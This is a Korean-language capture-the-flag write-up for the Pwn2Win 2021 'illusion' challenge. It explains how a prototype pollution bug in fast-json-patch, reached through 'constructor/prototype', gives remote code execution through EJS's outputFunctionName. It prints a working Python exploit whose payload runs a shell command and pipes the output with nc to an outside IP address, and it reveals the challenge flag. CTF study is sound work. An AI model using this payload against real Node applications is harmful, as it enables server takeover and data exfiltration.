[Study] Pwn2Win CTF 2021 illusion Writeup
해당 서버에 접근하면 hashcash를 이용한 간단한 질문이 주어지는데, 이를 해결하면 아래와 같은 페이지로 접근 할 수 있는 접속 정보가 주어진다.
주어진 소스를 살펴보자. 문제의 핵심은 아래 코드에 있다.
// Homepage
app.get("/", async (req, res) => {
const html = await ejs.renderFile(__dirname + "/templates/index.ejs", {services})
##### ........................................................................(2)
res.end(html)
})
// API
app.post("/change_status", (req, res) => {
let patch = []
console.log(req.body)
Object.entries(req.body).forEach(([service, status]) => {
console.log(typeof(service))
console.log(service)
console.log(status)
console.log(typeof(status))
if (service === "status"){
res.status(400).end("Cannot change all services status")
return
}
patch.push({
"op": "replace",
"path": "/" + service, ##### ........................................ (3)
"value": status
})
});
jsonpatch.applyPatch(services, patch) ##### ................................. (1)
if ("offline" in Object.values(services)){
services.status = "offline"
}
res.json(services)
})
/change_status에 post 방식으로 {"cameras":"offline"} 과 같은 형식으로 데이터를 전송하면,
(1)의 fast-json-fatch의 applyPatch 기능을 이용해서 각 장비의 상태를 변경하는 기능이다.
nodejs json rce 등의 키워드로 구글링을 한 결과 nodejs/ejs 환경에서 Prototype Pollution 공격이 가능함을 확인하고, 방향성을 설정하여 여러 삽질을 하였다.
문제가 되었던건 Prototype Pollution 공격에서 주로 __proto__ 가 활용되는데, 이를 방지하기 위해 ApplyPatch메소드에서는 __proto__의 사용이 제한되어 있다.
이를 우회하고자 __proto__ 와 같거나 비슷한것이 있는지 조사했다. 관련하여 구글링을 하다가,
https://stackoverflow.com/questions/650764/how-does-proto-differ-from-constructor-prototype
How does __proto__ differ from constructor.prototype?
function Gadget(name, color) { this.name = name; this.color = color; } Gadget.prototype.rating = 3 var newtoy = new Gadget("webcam", "black") newtoy.constructor.prototype.constructor.proto...
stackoverflow.com
등 페이지를 통해 __proto__ 와 constructor.prototype이 유사하다는 것을 확인했고, 테스트해보았다.
이제, Object.constructor.prototype을 활용해 어떻게 RCE를 성공시킬지에 대해 알아보자.
https://littledev0617.tistory.com/5
Node JS prototype pollution to RCE / express-fileupload@1.1.6 + EJS
http://blog.p6.is/Real-World-JS-1/ posix님이 발견하신 CVE-2020-7699 취약점이 너무나 흥미로워 보였고, 유익한 내용이기에 적어본다. 실습 환경은 express-fileupload@1.1.6 버전을 사용해야한다. 우선, proto..
littledev0617.tistory.com
를 참조하면, __proto__.outputFunctionName 을 이용한 RCE 사례가 있다. 앞서 알게 되었듯, constructor.prototype과 __proto__는 동일하므로, constructor.prototype.outputFunctionName의 값에 RCE exploit 코드를 작성하면 문제를 해결 할 수 있다.
index.ejs 파일을 보자.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="color-scheme" content="dark">
<meta name="theme-color" content="#282936">
<title>Rhiza's security cameras</title>
<link rel="stylesheet" href="/static/style.css">
</head>
<body>
<div class="rhiza">
<div class="container">
<ul class="rhiza-navbar">
<li><a href="#" style="font-weight:700">Rhiza's Security</a></li>
</ul>
</div>
</div>
<div class="container">
<div id="psa" hidden></div>
<div class="services-container">
<div class="services">
<div class="sep services-title">
Rhiza's services
</div>
<div class="service">
<span class="name"><a rel="noopener" target="_blank">All services</a> </span>
<span class="status" id="services"><span class="<%= services.status %>"></span><%= services.status %></span>
</div>
<div class="service sep">
<span class="name">Total services</span>
<span class="status" id="total">4</span>
</div>
<div class="service">
<span class="name">Security cameras</span>
<span class="status" id="seccameras"><span class="<%= services.cameras %>"><%= services.cameras %></span></span>
</div>
<div class="service">
<span class="name">Prisioners jail doors</span>
<span class="status" id="doors"><span class="<%= services.doors %>"><%= services.doors %></span></span>
</div>
<div class="service">
<span class="name">Rhiza's Dome</span>
<span class="status" id="dome"><span class="<%= services.dome %>"><%= services.dome %></span></span>
</div>
<div class="service">
<span class="name">Perimeter turrets</span>
<span class="status" id="turrets"><span class="<%= services.turrets %>"><%= services.turrets %></span></span>
</div>
</body>
</html>
(2)를 통한 인자들이, services.cameras 와 같은 형식으로 넘어오는데, (3) 에서는 /cameras 처럼 슬래시(/)를 활용함을 알 수 있다.
이를 통해 constructor.prototype.outputFunctionName 에 접근하기 위해서는 constructor/prototype/outputFunction 과 같이 처리해주어야 함을 알 수 있다.
관련해서는 같은 팀원인 Pocas님의 자료에서 자세하게 확인 할 수 있다.
https://pocas.kr/2021/05/31/2021-05-31-Prototype-Pollution-in-JsonPatch/
Prototype Pollution in fast-json-patch module
TR;DL Prototype Pollution Analysis : Introduce 위 사진을 보면 fast-json-patch 모듈의 applyPatch() 메서드를 이용해서 a라는 메서드를 패치 시켜주는데, 이때 내부 오퍼레이션에 의해서 Prototype Pollution 취약점이
pocas.kr
위 공부한 내용을 토대로 아래와 같이 exploit.py 코드를 작성 후 실행시키면 플래그를 획득 할 수 있다. 주의할점은, 최종 RCE 실행은 ejs환경에서 실행되므로, 메인 페이지를 새로고침 해야 삽입한 코드가 로딩되면서 개인 서버에 플래그가 전송 된다.
import requests, json
URL = 'http://illusion.pwn2win.party:11018/change_status'
headers = {'Content-Type':'application/json', 'Authorization':'Basic YWRtaW46b25ib2hram1hb2ttendreg=='}
data = {"constructor/prototype/outputFunctionName": "x; process.mainModule.require('child_process').execSync('./readflag | nc 118.32.182.8 8888');x" }
res = requests.post(URL, headers=headers ,data=json.dumps(data))
print(res.text)
FLAG = CTF-BR{d0nt_miX_pr0totyPe_pol1ution_w1th_a_t3mplat3_3ng1nE!}